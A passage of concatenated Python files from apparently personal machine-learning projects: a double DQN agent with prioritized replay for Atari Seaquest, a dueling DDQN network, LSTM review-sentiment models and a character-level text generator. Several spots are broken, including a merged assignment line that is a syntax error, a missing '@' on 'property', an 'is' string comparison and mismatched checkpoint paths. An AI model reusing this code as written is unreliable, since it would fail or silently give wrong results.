keras.optimizers import * + +model_name = "conv2dx3" + +class Brain: + def __init__(self, stateCnt, actionCnt): + self.stateCnt = stateCnt + self.actionCnt = actionCnt + + self.model = self._createModel() + self.model_ = self._createModel() # target network + # custom tensorboard + self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time()))) + + def _createModel(self): + model = Sequential() + + model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first')) + model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu')) + model.add(Conv2D(64, (3, 3), activation='relu')) + model.add(Flatten()) + model.add(Dense(units=512, activation='relu')) + + model.add(Dense(units=actionCnt, activation='linear')) + + opt = RMSprop(lr=LEARNING_RATE) + model.compile(loss=huber_loss, optimizer=opt) + + return model + + def train(self, x, y, epochs=1, verbose=0): + self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard]) + + def predict(self, s, target=False): + if target: + return self.model_.predict(s) + else: + return self.model.predict(s) + + def predictOne(self, s, target=False): + return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten() + + def updateTargetModel(self): + self.model_.set_weights(self.model.get_weights()) + +#-------------------- MEMORY -------------------------- +class Memory: # stored as ( s, a, r, s_ ) in SumTree + e = 0.01 + a = 0.6 + + def __init__(self, capacity): + self.tree = SumTree(capacity) + + def _getPriority(self, error): + return (error + self.e) ** self.a + + def add(self, error, sample): + p = self._getPriority(error) + self.tree.add(p, sample) + + def sample(self, n): + batch = [] + segment = self.tree.total() / n + + for i in range(n): + a = segment * i + b = segment * (i + 1) + + s = random.uniform(a, b) + (idx, p, data) = self.tree.get(s) + batch.append( (idx, data) ) + + return batch + + def update(self, idx, error): + p = self._getPriority(error) + self.tree.update(idx, p) + +#-------------------- AGENT --------------------------- +MEMORY_CAPACITY = 50_000 + +BATCH_SIZE = 32 + +GAMMA = 0.95 + +MAX_EPSILON = 1 +MIN_EPSILON = 0.05 + +EXPLORATION_STOP = 500_000 # at this step epsilon will be 0.01 +LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay + +UPDATE_TARGET_FREQUENCY = 10_000 +UPDATE_STATS_EVERY = 5 +RENDER_EVERY = 50 + +class Agent: + steps = 0 + epsilon = MAX_EPSILON + + def __init__(self, stateCnt, actionCnt, brain): + self.stateCnt = stateCnt + self.actionCnt = actionCnt + + self.brain = brain + # self.memory = Memory(MEMORY_CAPACITY) + + def act(self, s): + if random.random() < self.epsilon: + return random.randint(0, self.actionCnt-1) + else: + return numpy.argmax(self.brain.predictOne(s)) + + def observe(self, sample): # in (s, a, r, s_) format + x, y, errors = self._getTargets([(0, sample)]) + self.memory.add(errors[0], sample) + + if self.steps % UPDATE_TARGET_FREQUENCY == 0: + self.brain.updateTargetModel() + + # slowly decrease Epsilon based on our eperience + self.steps += 1 + self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps) + + def _getTargets(self, batch): + no_state = numpy.zeros(self.stateCnt) + + states = numpy.array([ o[1][0] for o in batch ]) + states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ]) + + p = agent.brain.predict(states) + + p_ = agent.brain.predict(states_, target=False) + pTarget_ = agent.brain.predict(states_, target=True) + + x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)) + y = numpy.zeros((len(batch), self.actionCnt)) + errors = numpy.zeros(len(batch)) + + for i in range(len(batch)): + o = batch[i][1] + s = o[0] a = o[1] r = o[2] s_ = o[3] + + t = p[i] + oldVal = t[a] + if s_ is None: + t[a] = r + else: + t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN + + x[i] = s + y[i] = t + errors[i] = abs(oldVal - t[a]) + + return (x, y, errors) + + def replay(self): + batch = self.memory.sample(BATCH_SIZE) + x, y, errors = self._getTargets(batch) + + # update errors + for i in range(len(batch)): + idx = batch[i][0] + self.memory.update(idx, errors[i]) + + self.brain.train(x, y) + +class RandomAgent: + memory = Memory(MEMORY_CAPACITY) + exp = 0 + epsilon = MAX_EPSILON + + def __init__(self, actionCnt, brain): + self.actionCnt = actionCnt + self.brain = brain + + def act(self, s): + return random.randint(0, self.actionCnt-1) + + def observe(self, sample): # in (s, a, r, s_) format + error = abs(sample[2]) # reward + self.memory.add(error, sample) + self.exp += 1 + + def replay(self): + pass + +#-------------------- ENVIRONMENT --------------------- +class Environment: + def __init__(self, problem): + self.problem = problem + self.env = gym.make(problem) + self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY) + + def run(self, agent, step): + img = self.env.reset() + w = processImage(img) + s = numpy.array([w, w]) + agent.brain.tensorboard.step = step + R = 0 + while True: + if step % RENDER_EVERY == 0: + self.env.render() + a = agent.act(s) + + img, r, done, info = self.env.step(a) + s_ = numpy.array([s[1], processImage(img)]) #last two screens + + r = np.clip(r, -1, 1) # clip reward to [-1, 1] + + if done: # terminal state + s_ = None + + agent.observe( (s, a, r, s_) ) + agent.replay() + + s = s_ + R += r + + if done: + break + + + self.ep_rewards.append(R) + avg_reward = sum(self.ep_rewards) / len(self.ep_rewards) + if step % UPDATE_STATS_EVERY == 0: + min_reward = min(self.ep_rewards) + max_reward = max(self.ep_rewards) + agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon) + agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5") + # print("Total reward:", R) + return avg_reward + +#-------------------- MAIN ---------------------------- +PROBLEM = 'Seaquest-v0' +env = Environment(PROBLEM) + +episodes = 2_000 + +stateCnt = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT) +actionCnt = env.env.action_space.n + +brain = Brain(stateCnt, actionCnt) + +agent = Agent(stateCnt, actionCnt, brain) +randomAgent = RandomAgent(actionCnt, brain) + +step = 0 +try: + print("Initialization with random agent...") + while randomAgent.exp < MEMORY_CAPACITY: + step += 1 + env.run(randomAgent, step) + print(randomAgent.exp, "/", MEMORY_CAPACITY) + + agent.memory = randomAgent.memory + + randomAgent = None + + print("Starting learning") + for i in tqdm.tqdm(list(range(step+1, episodes+step+1))): + env.run(agent, i) +finally: + agent.brain.model.save("Seaquest-DQN-PER.h5") + + + + +import numpy as np + +class SumTree: + """ + This SumTree code is modified version of Morvan Zhou: + https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py + """ + data_pointer = 0 + def __init__(self, length): + # number of leaf nodes (final nodes that contains experiences) + self.length = length + + # generate the tree with all nodes' value = 0 + # binary node (each node has max 2 children) so 2x size of leaf capacity - 1 + # parent nodes = length - 1 + # leaf nodes = length + self.tree = np.zeros(2*self.length - 1) + # contains the experiences + self.data = np.zeros(self.length, dtype=object) + + def add(self, priority, data): + """ + Add priority score in the sumtree leaf and add the experience in data + """ + # look at what index we want to put the experience + tree_index = self.data_pointer + self.length - 1 + + #tree: + # 0 + # / \ + # 0 0 + # / \ / \ + #tree_index 0 0 0 We fill the leaves from left to right + + self.data[self.data_pointer] = data + + # update the leaf + self.update(tree_index, priority) + + # increment data pointer + self.data_pointer += 1 + + # if we're above the capacity, we go back to the first index + if self.data_pointer >= self.length: + self.data_pointer = 0 + + + def update(self, tree_index, priority): + """ + Update the leaf priority score and propagate the change through the tree + """ + + # change = new priority score - former priority score + change = priority - self.tree[tree_index] + self.tree[tree_index] = priority + + while tree_index != 0: # this method is faster than the recursive loop in the reference code + + """ + Here we want to access the line above + THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES + + 0 + / \ + 1 2 + / \ / \ + 3 4 5 [6] + + If we are in leaf at index 6, we updated the priority score + We need then to update index 2 node + So tree_index = (tree_index - 1) // 2 + tree_index = (6-1)//2 + tree_index = 2 (because // round the result) + """ + tree_index = (tree_index - 1) // 2 + self.tree[tree_index] += change + + + """ + Here we get the leaf_index, priority value of that leaf and experience associated with that index + """ + def get_leaf(self, v): + """ + Tree structure and array storage: + Tree index: + 0 -> storing priority sum + / \ + 1 2 + / \ / \ + 3 4 5 6 -> storing priority for experiences + Array type for storing: + [0,1,2,3,4,5,6] + """ + parent_index = 0 + + while True: # the while loop is faster than the method in the reference code + left_child_index = 2 * parent_index + 1 + right_child_index = left_child_index + 1 + + # If we reach bottom, end the search + if left_child_index >= len(self.tree): + leaf_index = parent_index + break + + else: # downward search, always search for a higher priority node + + if v <= self.tree[left_child_index]: + parent_index = left_child_index + + else: + v -= self.tree[left_child_index] + parent_index = right_child_index + + data_index = leaf_index - self.length + 1 + + return leaf_index, self.tree[leaf_index], self.data[data_index] + + property + def total_priority(self): + return self.tree[0] # Returns the root node + + + +class Memory: + # we use this to avoid some experiences to have 0 probability of getting picked + PER_e = 0.01 + # we use this to make a tradeoff between taking only experiences with high priority + # and sampling randomly + PER_a = 0.6 + # we use this for importance sampling, from this to 1 through the training + PER_b = 0.4 + + PER_b_increment_per_sample = 0.001 + + absolute_error_upper = 1.0 + + def __init__(self, capacity): + # the tree is composed of a sum tree that contains the priority scores and his leaf + # and also a data list + # we don't use deque here because it means that at each timestep our experiences change index by one + # we prefer to use a simple array to override when the memory is full + self.tree = SumTree(length=capacity) + + def store(self, experience): + """ + Store a new experience in our tree + Each new experience have a score of max_priority (it'll be then improved) + """ + # find the max priority + max_priority = np.max(self.tree.tree[-self.tree.length:]) + + # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked + # so we use a minimum priority + if max_priority == 0: + max_priority = self.absolute_error_upper + + # set the max p for new p + self.tree.add(max_priority, experience) + + def sample(self, n): + """ + - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges. + - then a value is uniformly sampled from each range + - we search in the sumtree, the experience where priority score correspond to sample values are + retrieved from. + - then, we calculate IS weights for each minibatch element + """ + # create a sample list that will contains the minibatch + memory = [] + + b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32) + + # calculate the priority segment + # here, as explained in the paper, we divide the range [0, ptotal] into n ranges + priority_segment = self.tree.total_priority / n + + # increase b each time + self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample]) + + # calculating the max weight + p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority + max_weight = (p_min * n) ** (-self.PER_b) + + for i in range(n): + a, b = priority_segment * i, priority_segment * (i + 1) + value = np.random.uniform(a, b) + + # experience that correspond to each value is retrieved + index, priority, data = self.tree.get_leaf(value) + + # P(j) + sampling_probs = priority / self.tree.total_priority + + # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b /max wi + b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight + + b_idx[i]= index + + experience = [data] + + memory.append(experience) + + return b_idx, memory, b_is_weights + + + + def batch_update(self, tree_idx, abs_errors): + """ + Update the priorities on the tree + """ + abs_errors += self.PER_e + clipped_errors = np.min([abs_errors, self.absolute_error_upper]) + ps = np.power(clipped_errors, self.PER_a) + + for ti, p in zip(tree_idx, ps): + self.tree.update(ti, p) + + + + +import tensorflow as tf + +class DDDQNNet: + """ Dueling Double Deep Q Neural Network """ + def __init__(self, state_size, action_size, learning_rate, name): + self.state_size = state_size + self.action_size = action_size + self.learning_rate = learning_rate + self.name = name + + # we use tf.variable_scope to know which network we're using (DQN or the Target net) + # it'll be helpful when we will update our w- parameters (by copy the DQN parameters) + with tf.variable_scope(self.name): + # we create the placeholders + self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs") + + self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights") + + self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_") + + # target Q + self.target_q = tf.placeholder(tf.float32, [None], name="target") + + # neural net + self.dense1 = tf.layers.dense(inputs=self.inputs_, + units=32, + name="dense1", + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation="relu") + + self.dense2 = tf.layers.dense(inputs=self.dense1, + units=32, + name="dense2", + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation="relu") + + self.dense3 = tf.layers.dense(inputs=self.dense2, + units=32, + name="dense3", + kernel_initializer=tf.contrib.layers.xavier_initializer()) + + # here we separate into two streams (dueling) + # this one is State-Function V(s) + self.value = tf.layers.dense(inputs=self.dense3, + units=1, + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation=None, + name="value" + ) + + # and this one is Value-Function A(s, a) + self.advantage = tf.layers.dense(inputs=self.dense3, + units=self.action_size, + activation=None, + kernel_initializer=tf.contrib.layers.xavier_initializer(), + name="advantage" + ) + + # aggregation + # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') ) + + self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True)) + + # Q is our predicted Q value + self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_)) + + self.absolute_errors = tf.abs(self.target_q - self.Q) + + # w- * (target_q - q)**2 + self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q)) + + + self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss) + + + + +import numpy + +class SumTree: + write = 0 + + def __init__(self, capacity): + self.capacity = capacity + self.tree = numpy.zeros( 2*capacity - 1 ) + self.data = numpy.zeros( capacity, dtype=object ) + + def _propagate(self, idx, change): + parent = (idx - 1) // 2 + + self.tree[parent] += change + + if parent != 0: + self._propagate(parent, change) + + def _retrieve(self, idx, s): + left = 2 * idx + 1 + right = left + 1 + + if left >= len(self.tree): + return idx + + if s <= self.tree[left]: + return self._retrieve(left, s) + else: + return self._retrieve(right, s-self.tree[left]) + + def total(self): + return self.tree[0] + + def add(self, p, data): + idx = self.write + self.capacity - 1 + + self.data[self.write] = data + self.update(idx, p) + + self.write += 1 + if self.write >= self.capacity: + self.write = 0 + + def update(self, idx, p): + change = p - self.tree[idx] + + self.tree[idx] = p + self._propagate(idx, change) + + def get(self, s): + idx = self._retrieve(0, s) + dataIdx = idx - self.capacity + 1 + + return (idx, self.tree[idx], self.data[dataIdx]) + + + + +import numpy as np + +from string import punctuation +from collections import Counter +from sklearn.model_selection import train_test_split + + +with open("data/reviews.txt") as f: + reviews = f.read() + +with open("data/labels.txt") as f: + labels = f.read() + +# remove all punctuations +all_text = ''.join([ c for c in reviews if c not in punctuation ]) + +reviews = all_text.split("\n") +reviews = [ review.strip() for review in reviews ] +all_text = ' '.join(reviews) +words = all_text.split() +print("Total words:", len(words)) + +# encoding the words + +# dictionary that maps vocab words to integers here +vocab = sorted(set(words)) +print("Unique words:", len(vocab)) +# start is 1 because 0 is encoded for blank +vocab2int = {word: i for i, word in enumerate(vocab, start=1)} + +# encoded reviews +encoded_reviews = [] +for review in reviews: + encoded_reviews.append([vocab2int[word] for word in review.split()]) + +encoded_reviews = np.array(encoded_reviews) +# print("Number of reviews:", len(encoded_reviews)) + +# encode the labels, 1 for 'positive' and 0 for 'negative' +labels = labels.split("\n") +labels = [1 if label is 'positive' else 0 for label in labels] +# print("Number of labels:", len(labels)) + +review_lens = [len(x) for x in encoded_reviews] +counter_reviews_lens = Counter(review_lens) + +# remove any reviews with 0 length +cleaned_encoded_reviews, cleaned_labels = [], [] +for review, label in zip(encoded_reviews, labels): + if len(review) != 0: + cleaned_encoded_reviews.append(review) + cleaned_labels.append(label) + +encoded_reviews = np.array(cleaned_encoded_reviews) +labels = cleaned_labels +# print("Number of reviews:", len(encoded_reviews)) +# print("Number of labels:", len(labels)) + +sequence_length = 200 +features = np.zeros((len(encoded_reviews), sequence_length), dtype=int) +for i, review in enumerate(encoded_reviews): + features[i, -len(review):] = review[:sequence_length] + +# print(features[:10, :100]) + +# split data into train, validation and test +split_frac = 0.9 + +X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac) +X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5) + +print(f"""Features shapes: +Train set: {X_train.shape} +Validation set: {X_validation.shape} +Test set: {X_test.shape}""") +print("Example:") +print(X_train[0]) +print(y_train[0]) + +# X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):] +# y_train, y_validation = labels[:split] + + + + +import tensorflow as tf +from utils import get_batches +from train import * + + + + +import tensorflow as tf +from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test +from utils import get_batches + +import numpy as np + +def get_lstm_cell(): + # basic LSTM cell + lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) + + # dropout to the cell + drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) + + return drop + +# RNN paramaters +lstm_size = 256 +lstm_layers = 1 +batch_size = 256 +learning_rate = 0.001 + +n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding + +# create the graph object +graph = tf.Graph() +# add nodes to the graph +with graph.as_default(): + inputs = tf.placeholder(tf.int32, (None, None), "inputs") + labels = tf.placeholder(tf.int32, (None, None), "labels") + keep_prob = tf.placeholder(tf.float32, name="keep_prob") + +# number of units in the embedding layer +embedding_size = 300 + +with graph.as_default(): + # embedding lookup matrix + embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1)) + # pass to the LSTM cells + embed = tf.nn.embedding_lookup(embedding, inputs) + + # stackup multiple LSTM layers + cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)]) + + initial_state = cell.zero_state(batch_size, tf.float32) + + # pass cell and input to cell, returns outputs for each time step + # and the final state of the hidden layer + # run the data through the rnn nodes + outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state) + + # grab the last output + # use sigmoid for binary classification + predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid) + + # calculate cost using MSE + cost = tf.losses.mean_squared_error(labels, predictions) + optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost) + + # nodes to calculate the accuracy + correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels) + accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) + + saver = tf.train.Saver() + +########### training ########## +epochs = 10 + +with tf.Session(graph=graph) as sess: + sess.run(tf.global_variables_initializer()) + iteration = 1 + + for e in range(epochs): + state = sess.run(initial_state) + + for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)): + y = np.array(y) + x = np.array(x) + feed = {inputs: x, labels: y[:, None], + keep_prob: 0.5, + initial_state: state} + loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed) + + if iteration % 5 == 0: + print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}") + + if iteration % 25 == 0: + val_acc = [] + val_state = sess.run(cell.zero_state(batch_size, tf.float32)) + for x, y in get_batches(X_validation, y_validation, batch_size=batch_size): + x, y = np.array(x), np.array(y) + feed = {inputs: x, labels: y[:, None], + keep_prob: 1, initial_state: val_state} + batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed) + val_acc.append(batch_acc) + print(f"val_acc: {np.mean(val_acc):.3f}") + + iteration += 1 + + saver.save(sess, "chechpoints/sentiment1.ckpt") + +test_acc = [] +with tf.Session(graph=graph) as sess: + saver = tf.train.Saver() + saver.restore(sess, tf.train.latest_checkpoint('checkpoints')) + test_state = sess.run(cell.zero_state(batch_size, tf.float32)) + for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1): + feed = {inputs: x, + labels: y[:, None], + keep_prob: 1, + initial_state: test_state} + batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed) + test_acc.append(batch_acc) + print("Test accuracy: {:.3f}".format(np.mean(test_acc))) + + + + +def get_batches(x, y, batch_size=100): + + n_batches = len(x) // batch_size + x, y = x[:n_batches*batch_size], y[:n_batches*batch_size] + for i in range(0, len(x), batch_size): + yield x[i: i+batch_size], y[i: i+batch_size] + + + + +import numpy as np +import pandas as pd +import tqdm +from string import punctuation + +punc = set(punctuation) + +df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") + + +X = np.zeros((len(df), 2), dtype=object) + +for i in tqdm.tqdm(range(len(df)), "Cleaning X"): + target = df['Text'].loc[i] + + # X.append(''.join([ c.lower() for c in target if c not in punc ])) + X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ]) + X[i, 1] = df['Score'].loc[i] + + +pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv") + + + + +### Model Architecture hyper parameters +embedding_size = 64 +# sequence_length = 500 +sequence_length = 42 +LSTM_units = 128 + +### Training parameters +batch_size = 128 +epochs = 20 + +### Preprocessing parameters +# words that occur less than n times to be deleted from dataset +N = 10 + +# test size in ratio, train size is 1 - test_size +test_size = 0.15 + + + + +from keras.models import Sequential +from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed +from keras.layers import SpatialDropout1D +from config import LSTM_units + + +def get_model_binary(vocab_size, sequence_length): + embedding_size = 64 + model=Sequential() + model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) + model.add(SpatialDropout1D(0.15)) + model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) + model.add(Dropout(0.3)) + model.add(Dense(1, activation='sigmoid')) + model.summary() + return model + +def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0): + model=Sequential() + model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) + model.add(SpatialDropout1D(0.15)) + model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) + model.add(Dropout(0.3)) + model.add(Dense(1, activation="linear")) + if verbose: + model.summary() + return model + + + + +import numpy as np +import pandas as pd +import tqdm +import pickle +from collections import Counter +from sklearn.model_selection import train_test_split + +from utils import clean_text, tokenize_words +from config import N, test_size + +def load_review_data(): + # df = pd.read_csv("data/Reviews.csv") + df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") + # preview + print(df.head()) + print(df.tail()) + vocab = [] + # X = np.zeros((len(df)*2, 2), dtype=object) + X = np.zeros((len(df), 2), dtype=object) + # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"): + # target = df['Text'].loc[i] + # score = df['Score'].loc[i] + # X[i, 0] = clean_text(target) + # X[i, 1] = score + # for word in X[i, 0].split(): + # vocab.append(word) + + # k = i+1 + k = 0 + + for i in tqdm.tqdm(range(len(df)), "Cleaning X2"): + target = df['Summary'].loc[i] + score = df['Score'].loc[i] + X[i+k, 0] = clean_text(target) + X[i+k, 1] = score + for word in X[i+k, 0].split(): + vocab.append(word) + + # vocab = set(vocab) + vocab = Counter(vocab) + + # delete words that occur less than 10 times + vocab = { k:v for k, v in vocab.items() if v >= N } + + # word to integer encoder dict + vocab2int = {word: i for i, word in enumerate(vocab, start=1)} + + # pickle int2vocab for testing + print("Pickling vocab2int...") + pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb")) + + # encoded reviews + for i in tqdm.tqdm(range(X.shape[0]), "Tokenizing words"): + X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int) + + lengths = [ len(row) for row in X[:, 0] ] + print("min_length:", min(lengths)) + print("max_length:", max(lengths)) + + X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19) + + return X_train, X_test, y_train, y_test, vocab + + + + +import os +# disable keras loggings +import sys +stderr = sys.stderr +sys.stderr = open(os.devnull, 'w') +import keras +sys.stderr = stderr +# to use CPU +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + + inter_op_parallelism_threads=5, + + allow_soft_placement=True, + + device_count = {'CPU' : 1, + + 'GPU' : 0} + + ) + +from model import get_model_5stars +from utils import clean_text, tokenize_words +from config import embedding_size, sequence_length +from keras.preprocessing.sequence import pad_sequences + +import pickle + +vocab2int = pickle.load(open("data/vocab2int.pickle", "rb")) +model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size) + +model.load_weights("results/model_V20_0.38_0.80.h5") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Food Review evaluator") + parser.add_argument("review", type=str, help="The review of the product in text") + args = parser.parse_args() + + review = tokenize_words(clean_text(args.review), vocab2int) + x = pad_sequences([review], maxlen=sequence_length) + + print(f"{model.predict(x)[0][0]:.2f}/5") + + + + +# to use CPU +# import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} + # ) + +import os +import numpy as np +import pandas as pd +from keras.callbacks import ModelCheckpoint +from keras.preprocessing import sequence + +from preprocess import load_review_data +from model import get_model_5stars +from config import sequence_length, embedding_size, batch_size, epochs + +X_train, X_test, y_train, y_test, vocab = load_review_data() + +vocab_size = len(vocab) + +print("Vocab size:", vocab_size) + +X_train = sequence.pad_sequences(X_train, maxlen=sequence_length) +X_test = sequence.pad_sequences(X_test, maxlen=sequence_length) + +print("X_train.shape:", X_train.shape) +print("X_test.shape:", X_test.shape) + +print("y_train.shape:", y_train.shape) +print("y_test.shape:", y_test.shape) + +model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size) +model.load_weights("results/model_V40_0.60_0.67.h5") +model.compile(loss="mse", optimizer="adam", metrics=["accuracy"]) + +if not os.path.isdir("results"): + os.mkdir("results") + +checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1) + +model.fit(X_train, y_train, epochs=epochs, + validation_data=(X_test, y_test), + batch_size=batch_size, + callbacks=[checkpointer]) + + + + +import numpy as np +from string import punctuation + +# make it a set to accelerate tests +punc = set(punctuation) + +def clean_text(text): + return ''.join([ c.lower() for c in str(text) if c not in punc ]) + +def tokenize_words(words, vocab2int): + words = words.split() + tokenized_words = np.zeros((len(words),)) + for j in range(len(words)): + try: + tokenized_words[j] = vocab2int[words[j]] + except KeyError: + # didn't add any unk, just ignore + pass + return tokenized_words + + + + +import numpy as np +import pickle +import tqdm +from keras.models import Sequential +from keras.layers import Dense, LSTM, Dropout, Activation +from keras.callbacks import ModelCheckpoint + +seed = "import os" +# output: +# ded of and alice as it go on and the court +# well you wont you wouldncopy thing +# there was not a long to growing anxiously any only a low every cant +# go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo + +char2int = pickle.load(open("python-char2int.pickle", "rb")) +int2char = pickle.load(open("python-int2char.pickle", "rb")) + +sequence_length = 100 +n_unique_chars = len(char2int) + +# building the model +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +model.load_weights("results/python-v2-2.48.h5") + +# generate 400 characters +generated = "" +for i in tqdm.tqdm(range(400), "Generating text"): + # make the input sequence + X = np.zeros((1, sequence_length, n_unique_chars)) + for t, char in enumerate(seed): + X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 + # predict the next character + predicted = model.predict(X, verbose=0)[0] + # converting the vector to an integer + next_index = np.argmax(predicted) + # converting the integer to a character + next_char = int2char[next_index] + # add the character to results + generated += next_char + # shift seed and the predicted character + seed = seed[1:] + next_char + +print("Generated text:") +print(generated) + + + + +import numpy as np +import os +import pickle +from keras.models import Sequential +from keras.layers import Dense, LSTM, Dropout +from keras.callbacks import ModelCheckpoint + +from utils import get_batches + +# import requests +# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text +# open("data/wonderland.txt", "w", encoding="utf-8").write(content) + +from string import punctuation +# read the data +# text = open("data/wonderland.txt", encoding="utf-8").read() +text = open("E:\\datasets\\text\\my_python_code.py").read() +# remove caps +text = text.lower() +for c in "!": + text = text.replace(c, "") +# text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "") +# text = text.translate(str.maketrans("", "", punctuation)) +# text = text[:100_000] +n_chars = len(text) +unique_chars = ''.join(sorted(set(text))) +print("unique_chars:", unique_chars) +n_unique_chars = len(unique_chars) +print("Number of characters:", n_chars) +print("Number of unique characters:", n_unique_chars) + +# dictionary that converts characters to integers +char2int = {c: i for i, c in enumerate(unique_chars)} +# dictionary that converts integers to characters +int2char = {i: c for i, c in enumerate(unique_chars)} + +# save these dictionaries for later generation +pickle.dump(char2int, open("python-char2int.pickle", "wb")) +pickle.dump(int2char, open("python-int2char.pickle", "wb")) + +# hyper parameters +sequence_length = 100 +step = 1 +batch_size = 128 +epochs = 1 + +sentences = [] +y_train = [] +for i in range(0, len(text) - sequence_length, step): + sentences.append(text[i: i + sequence_length]) + y_train.append(text[i+sequence_length]) +print("Number of sentences:", len(sentences)) + +X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step) + +# for i, x in enumerate(X): +# if i == 1: +# break +# print(x[0].shape, x[1].shape) + +# # vectorization +# X = np.zeros((len(sentences), sequence_length, n_unique_chars)) +# y = np.zeros((len(sentences), n_unique_chars)) + +# for i, sentence in enumerate(sentences): +# for t, char in enumerate(sentence): +# X[i, t, char2int[char]] = 1 